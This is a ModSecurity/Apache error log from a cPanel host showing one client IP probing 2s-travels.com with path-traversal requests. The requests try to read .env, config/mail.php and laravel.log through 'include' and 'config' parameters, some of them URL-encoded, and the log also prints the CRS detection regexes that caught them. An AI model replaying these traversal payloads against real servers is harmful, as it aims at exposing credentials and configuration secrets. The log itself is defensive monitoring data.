[Fri Jul 17 08:55:04.627168 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
[Fri Jul 17 08:55:04.627216 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
[Fri Jul 17 08:55:04.628713 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
[Fri Jul 17 08:55:04.628879 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.631065 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBLAAAAAY"]
[Fri Jul 17 08:55:04.638134 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2Fconfig%2Fmail.php&token=9da5gk-RZXJKmT6jLFVvk54reEtm-lvea74Sqt5pIJD6-eRQ_t7kget4UW-MxuKH-iGlOmLqd5jyXCUqPCUC8oWE241GVnQMkhc98ZRp8IyPd4LI05XXrGgcpkZ6M4FqMlXktmP-v6Cm5x0no3qAFEBjJkI1Q0KCAhIstsf4boFK76OA68Ucqxk0ydadvhMsXeTc6eTJ875Zz_vhfDxr5DUvi5WrXK_V_i2EwpZjs3jJWyOzYxPdIyN76ZIjfovmJLiuZ9-ABDXXX_O6bmcyaFT9&ref=KYCJJFC7OO7EMWMU6NX52OQN7CD7LV7II43GH6MMJHS4ULSBGQEVU2IWRK3UUF6HOQ7FKZEQGGYW7BTP6PP75YYKSRHND4TC7IDVA22N65NR6OKAPB6EQDU2AQRBU7J..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.638199 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.638256 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../config/mail.php&token=9da5gk-RZXJKmT6jLFVvk54reEtm-lvea74Sqt5pIJD6-eRQ_t7kget4UW-MxuKH-iGlOmLqd5jyXCUqPCUC8oWE241GVnQMkhc98ZRp8IyPd4LI05XXrGgcpkZ6M4FqMlXktmP-v6Cm5x0no3qAFEBjJkI1Q0KCAhIstsf4boFK76OA68Ucqxk0ydadvhMsXeTc6eTJ875Zz_vhfDxr5DUvi5WrXK_V_i2EwpZjs3jJWyOzYxPdIyN76ZIjfovmJLiuZ9-ABDXXX_O6bmcyaFT9&ref=KYCJJFC7OO7EMWMU6NX52OQN7CD7LV7II43GH6MMJHS4ULSBGQEVU2IWRK3UUF6HOQ7FKZEQGGYW7BTP6PP75YYKSRHND4TC7IDVA22N65NR6OKAPB6EQDU2AQRBU7JEHH66JQIKH5FOD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.638288 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../config/mail.php&token=9da5gk-rzxjkmt6jlfvvk54reetm-lvea74sqt5pijd6-erq_t7kget4uw-mxukh-iglomlqd5jyxcuqpcuc8owe241gvnqmkhc98zrp8iypd4li05xxrggcpkz6m4fqmlxktmp-v6cm5x0no3qafebjjki1q0kcahistsf4bofk76oa68ucqxk0ydadvhmsxetc6etj875zz_vhfdxr5duvi5wrxk_v_i2ewpzjs3jjwyozyxpdiyn76zijfovmjliuz9-abdxxx_o6bmcyaft9&ref=kycjjfc7oo7emwmu6nx52oqn7cd7lv7ii43gh6mmjhs4ulsbgqevu2iwrk3uuf6hoq7fkzeqggyw7btp6pp75yyksrhnd4tc7idva22n65nr6okapb6eqdu2aqrbu7jehh66jqikh5fod..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.638322 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.638351 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.639558 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.639739 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.640057 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIl9vhFBGA6D8l95igAAAAw"]
[Fri Jul 17 08:55:04.686786 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLQAAAAY"]
[Fri Jul 17 08:55:04.686838 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLQAAAAY"]
[Fri Jul 17 08:55:04.688022 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLQAAAAY"]
[Fri Jul 17 08:55:04.688191 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.688518 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBLQAAAAY"]
[Fri Jul 17 08:55:04.716377 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLgAAABs"]
[Fri Jul 17 08:55:04.716429 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLgAAABs"]
[Fri Jul 17 08:55:04.717586 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLgAAABs"]
[Fri Jul 17 08:55:04.717738 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.718067 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBLgAAABs"]
[Fri Jul 17 08:55:04.724894 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2Fstorage%2Flogs%2Flaravel.log&sid=qkGYyFKH5GVY2GJqfZgfJYX8N73BxbrUDgXP-gThJhVaEHABOux-plpCSPha9lZnUeqkqTZ_GWcCmMSYH5Lc1f51OclGdxG5off9KPLtu1w0Gxv2yAzlTYu4cabRQyES-Qsj5IR6OlrP5JC_yFE772u-UgOjVJzdn0EaDHXc1ZcOZgmtqsg9mOawxrG5hp20ICq55wju4jJyjZXUz8kkvyY_XxA3UwZzx2Fiw5mYMET20ImJZBLs4YCBDYHAs-J9Q7g3e5fhAjxNw5EH5vGe1hTC&anything=UJ5SIUWZWXZHFT5CZ3LE26U4RB43FJDFUATQE5SVJC46JTWLL4RAQJLHPMDL2LMHMBGUOFM4XCONFFK35RBP72F6IRCGLO3AUWUVRP6C2V4KGO7VYT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.724954 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.725004 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../storage/logs/laravel.log&sid=qkGYyFKH5GVY2GJqfZgfJYX8N73BxbrUDgXP-gThJhVaEHABOux-plpCSPha9lZnUeqkqTZ_GWcCmMSYH5Lc1f51OclGdxG5off9KPLtu1w0Gxv2yAzlTYu4cabRQyES-Qsj5IR6OlrP5JC_yFE772u-UgOjVJzdn0EaDHXc1ZcOZgmtqsg9mOawxrG5hp20ICq55wju4jJyjZXUz8kkvyY_XxA3UwZzx2Fiw5mYMET20ImJZBLs4YCBDYHAs-J9Q7g3e5fhAjxNw5EH5vGe1hTC&anything=UJ5SIUWZWXZHFT5CZ3LE26U4RB43FJDFUATQE5SVJC46JTWLL4RAQJLHPMDL2LMHMBGUOFM4XCONFFK35RBP72F6IRCGLO3AUWUVRP6C2V4KGO7VYTKEDVGERTUF4THBDS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.725082 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../storage/logs/laravel.log&sid=qkgyyfkh5gvy2gjqfzgfjyx8n73bxbrudgxp-gthjhvaehaboux-plpcspha9lznueqkqtz_gwccmmsyh5lc1f51oclgdxg5off9kpltu1w0gxv2yazltyu4cabrqyes-qsj5ir6olrp5jc_yfe772u-ugojvjzdn0eadhxc1zcozgmtqsg9moawxrg5hp20icq55wju4jjyjzxuz8kkvyy_xxa3uwzzx2fiw5mymet20imjzbls4ycbdyhas-j9q7g3e5fhajxnw5eh5vge1htc&anything=uj5siuwzwxzhft5cz3le26u4rb43fjdfuatqe5svjc46jtwll4raqjlhpmdl2lmhmbguofm4xconffk35rbp72f6ircglo3auwuvrp6c2v4kgo7vytkedvgertuf4thbds..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.725116 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.725148 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.726367 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.726542 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
